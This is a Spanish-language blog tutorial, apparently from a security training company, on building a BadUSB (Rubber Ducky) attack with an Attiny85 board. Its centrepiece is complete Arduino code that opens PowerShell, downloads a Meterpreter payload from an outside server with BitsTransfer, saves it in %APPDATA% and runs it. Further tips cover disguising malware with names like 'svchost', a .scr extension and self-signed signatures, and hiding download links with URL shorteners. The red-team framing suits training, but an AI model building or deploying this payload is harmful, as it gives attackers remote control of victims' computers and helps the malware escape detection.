Ataque mediante dispositivos BadUSB o Rubber Ducky
1. Introducción y objetivos
En este artículo vamos a realizar un estudio práctico sobre cómo se puede llegar a comprometer una organización empresarial mediante el uso de un BadUSB, ya sea introducido en un equipo informático por un atacante con acceso físico al sistema víctima, o por un usuario inocente que sea víctima de un engaño.
Vamos a ir directos al grano, sin perder tiempo en explicaciones sobre características técnicas de estos tipos de hardware, ni preparación de Arduino IDE, ya que esta información se puede encontrar fácilmente en cantidad de artículos ya realizados por otras empresas de ciberseguridad.
En este artículo nos focalizaremos en cómo programar un BadUSB con una placa Attiny85 que podemos obtener fácilmente con una sencilla búsqueda en Google, a precios económicos. Durante el desarrollo del código nos iremos encontrando ciertos problemas dada la naturaleza del origen de la placa, ya que las configuraciones del teclado hardware serán aquellas por defecto del país de donde se haya comprado.
Para llevar a cabo esta sencilla práctica necesitaremos tener al menos unos conocimientos básicos en programación C/C++.
El código del script a compilar está publicado en nuestro GitHub: https://github.com/JAYMONSECURITY/BADUSB
2. ¿En qué consiste un ataque con un BadUSB o Rubber Ducky?
Un ataque con un dispositivo BadUSB, también conocido como “Rubber Ducky” consiste básicamente en introducir un dispositivo con aspecto de USB en un equipo informático, para que ejecute comandos en el sistema víctima mediante su escritura como si de un teclado se tratase.
De esta manera un atacante puede introducir directamente el BadUSB o puede engañar a un usuario legítimo de la empresa para que este lo introduzca. Una vez el BadUSB sea introducido, comenzará a escribir rápidamente los comandos que nosotros, como atacantes, le hayamos programado en la placa base. De esta manera podremos ejecutar lo que queramos para poder obtener información sensible, destruir datos, obtener una shell de comandos, y un largo etcétera.
3. Escenarios posibles de ataque
En cuanto a los posibles escenarios donde se puede llevar a cabo un ataque de este tipo, encontramos principalmente los siguientes:
- El atacante deja abandonado el BadUSB en ciertas dependencias de la empresa, esperando a que alguien lo introduzca en su equipo informático.
- El atacante puede ser un trabajador de la empresa que no tiene buenas intenciones por las circunstancias que sea, y decide introducir un BadUSB para comprometer determinados equipos informáticos de la empresa. Estos atacantes son denominados “insiders”.
- El atacante puede hacerse pasar por una persona que vaya a su negocio a comprar o a disfrutar de un servicio que ofrezca la empresa, y aproveche un momento puntual para conectar el BadUSB en aquellos equipos expuestos al público.
Para poder ver más en profundidad lo dañino puede llegar a ser un dispositivo de estas características, aconsejo la lectura del artículo de César Granda Fernández:
4. Montaje del laboratorio
Para llevar a cabo esta práctica, necesitaremos:
- Comprar el dispositivo que mejor nos vaya para nuestros propósitos. Al realizar la compra es conveniente saber de qué país vendrá, ya que la configuración de “modo teclado” es muy posible que sea de dicho país, y esto será una dificultad que deberemos superar a la hora de programar el script de lanzamiento de comandos.
- Posteriormente debemos instalar Arduino software (IDE). Esto lo podemos realizar bajo Windows, Linux o Mac OS X, sin ningún problema. Yo haré uso de un entorno Windows 10 arquitectura x64.
Una vez realizados estos dos sencillos pasos, ya estamos preparados para programar el script que vaya a ejecutar los comandos que queramos en la máquina víctima.
5. Diseño del ataque, creación y compilación del código
Antes de dar comienzo al desarrollo del código, debemos tener claro qué es lo que queremos obtener como resultado final.
Básicamente lo que se desea obtener en una operación Red Team (RTO) es que cuando nosotros como atacantes, o un usuario de la empresa como víctima engañada, introduzcamos el BadUSB en una máquina de la organización, obtengamos una sesión Meterpreter u otro tipo de Shell de comandos con la que poder llevar a cabo una posterior post-explotación de los sistemas de la empresa. De esta manera podremos exfiltrar información sensible a nuestros servidores de Mando y Control (C2), realizar movimientos verticales (escalada de privilegios), movimientos horizontales (pivotar entre máquinas) y un largo etcétera.
Para llevar a cabo esto, primeramente debemos obtener el binario (troyano, sensor, implante, como le queramos llamar) que realice la conexión reversa para proporcionarnos una sesión Meterpreter de la máquina víctima. En esta práctica no le vamos a dedicar mayor tiempo a esta fase, por lo que vamos a emplear un binario tipo “Meterpreter” autogenerado con “Msfvenom” como vemos a continuación:
Una vez tengamos el binario preparado, procedemos a alojarlo en un servidor para que el BadUSB pueda descargarlo y auto ejecutarlo en la máquina víctima. En este caso he optado por subirlo a través de FTPS a nuestro servidor de JaymonSecurity.com que será de donde el BadUSB lo descargará a través del protocolo HTTP mediante el uso del módulo “BitsTransfer” de Powershell, para su posterior ejecución en la máquina víctima.
Una vez tenemos preparado el escenario para llevar a cabo el ataque, procedemos a programar el código necesario para que el BadUSB realice las acciones descritas con anterioridad.
6. Programación del Script y compilación
A continuación se muestra el código fuente del script en C/C++ que deberemos compilar con el IDE de Arduino. A lo largo del código fuente comento qué es lo que realiza cada una de las instrucciones, aunque hay algunas que son muy obvias.
El código del script a compilar está publicado en nuestro GitHub: https://github.com/JAYMONSECURITY/BADUSB
#include <Keyboard.h>
void setup() {
Keyboard.begin(); //Prepara la placa para llevar a cabo labores de escritura sobre la máquina en que está conectada
delay(750);
/**************************************************************************************************************/
type(KEY_LEFT_GUI,false); //Pulsa Ctrl + R correspondiente al cuadro de diálogo de "ejecutar"
type('r',false);
Keyboard.releaseAll(); //Envía orden de ejecución a la placa para llevar a cabo las acciones anteriores
delay(750); //Delay para dar un tiempo de respuesta al sistema
/**************************************************************************************************************/
print(F("powershell")); //Escribe en cuadro de diálogo "ejecutar" el comando "powershell" y pulsa "enter"
delay(500);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(500); //Delay para dar tiempo de respuesta al sistema
/***********************************************COMANDOS A EJECUTAR********************************************/
//Procede a escribir en la ventana de "Powershell" los siguientes comandos:
print(F("\npowershell Import/Module BitsTransfer<")); //Prepara módulo BitsTransfer para realizar la descarga
delay(100);
//En siguiente comando realiza la descarga del malware y lo guarda en %APPDATA% con el nombre de Bicho.scr
print(F("\nStart/BitsTransfer /Source http>&&jaymonsecurity.com&/Bicho.scr /Destination $env>APPDATA&Bicho.scr<"));
delay(100); //Da un tiempo prudencial a que la descarga finalice correctamente y no haya condiciones de carrera
print(F("\nStart/Process $env>APPDATA&Bicho.scr<")); //Ejecuta el malware descargado en el sistema víctima
delay(100);
print(F("\nexit")); //Escribe el comando "exit" para cerrar la ventana de powershell
delay(100);
/**************************************************************************************************************/
type(KEY_RETURN,false); //Pulsa "enter"
Keyboard.releaseAll(); //Envía orden de ejecución a la placa para ejecutar los comandos anteriores
Keyboard.end();
}
void type(int key, boolean release) {
Keyboard.press(key);
if(release)
Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
Keyboard.print(value);
}
void loop(){} Cuando hablamos de “placa” nos referimos al dispositivo BadUSB, que no deja de ser una placa Arduino. Las instrucciones “delay” son necesarias para evitar posibles condiciones de carrera. Sobre el tema de los comandos escritos en el script, podemos observar que están escritos con caracteres distintos al teclado español, y eso es algo muy importante que creo necesario explicar.
Este dispositivo BadUSB tiene una placa hecha y adquirida en China, por lo que la función de teclado que ofrece la placa tiene como distribución distinta a los teclados españoles. Esto básicamente quiere decir que el BadUSB interpreta los caracteres programados en el teclado español de distinta forma, por lo que debemos hacer un estudio previo mediante procedimientos de “ensayo-error” para ir adecuando los caracteres justos, para que la placa los interprete adecuadamente al sistema donde vaya a ser conectado.
De esta manera podemos observar en el script cómo, por ejemplo, para obtener el carácter ‘ / ‘ debemos escribir ‘ & ‘, para obtener ‘ – ‘ debemos escribir ‘ / ‘, para obtener ‘ ; ‘ debemos escribir ‘
Para llevar a cabo la compilación mediante el IDE de Arduino aconsejo echar un vistazo al siguiente artículo:
Comentar que, a modo de curiosidad, cuando tratamos de realizar una operación Red Team tenemos por objetivo ser lo más rápido y silencioso posible, por ello es aconsejable acortar los links de descarga mediante servicios de acortadores de URL (cutt.ly, bitly.com, etc.). Aunque este no es un artículo de análisis de malware, sí que me gustaría comentar que, como es lógico, es conveniente que el malware tenga un nombre más “de fiar”, como por ejemplo “System”, “Update”, “svchost”, etc. Una extensión que no llame la atención y que lógicamente permita la ejecución, como por ejemplo “.scr”. (salva pantallas), y que presente una firma digital válida, aunque sea autogenerada. La evasión de sistemas antivirus es realmente un arte que me gustaría mostrar más adelante, por lo que trataré de hacer un artículo con los fundamentos principales para llevar a cabo dichas labores.
7. Ejecución de la Operación BadUSB
A continuación podemos observar cómo tras conectar el dispositivo BadUSB en un ordenador con S.O. Windows 10, procede a ejecutar las órdenes del script programado en el punto anterior.
Primeramente procede a descargar del servidor de Jaymon Security el malware tipo “Meterpreter” (http://jaymonsecurity.com/Bicho.scr) y lo guarda en el directorio de %APPDATA% de la máquina víctima con el nombre “Bicho.scr”. Posteriormente procede a ejecutarlo, y una vez es ejecutado el atacante recibe el control total de la máquina víctima, como bien podemos ver en el siguiente vídeo en el que se muestra el acceso a la WEBCAM de la víctima.
Si tienen problemas de visualización pueden ver el vídeo a través del siguiente enlace:
https://www.youtube.com/watch?v=DPVl35N2tSw
8. Conclusiones
En este artículo hemos visto superficialmente cómo realizar un script propio para operar con un BadUSB o RubberDucky, mediante el cual automatizar la ejecución de distintos comandos en el sistema donde sea conectado.
De esta manera hemos podido ver cómo un atacante puede llevar a cabo la descarga y auto ejecución de malware de una manera sencilla, y hacerse con el control completo de la máquina víctima, lo cual puede derivar en comprometer enteramente una organización empresarial.
De estar interesado en adquirir conocimientos introductorios a hacking ético puede optar por matricularse en nuestro curso básico de hacking ético, o si prefiere adquirir conocimientos más avanzados en ciberseguridad ofensiva puede adquirir nuestro curso avanzado.
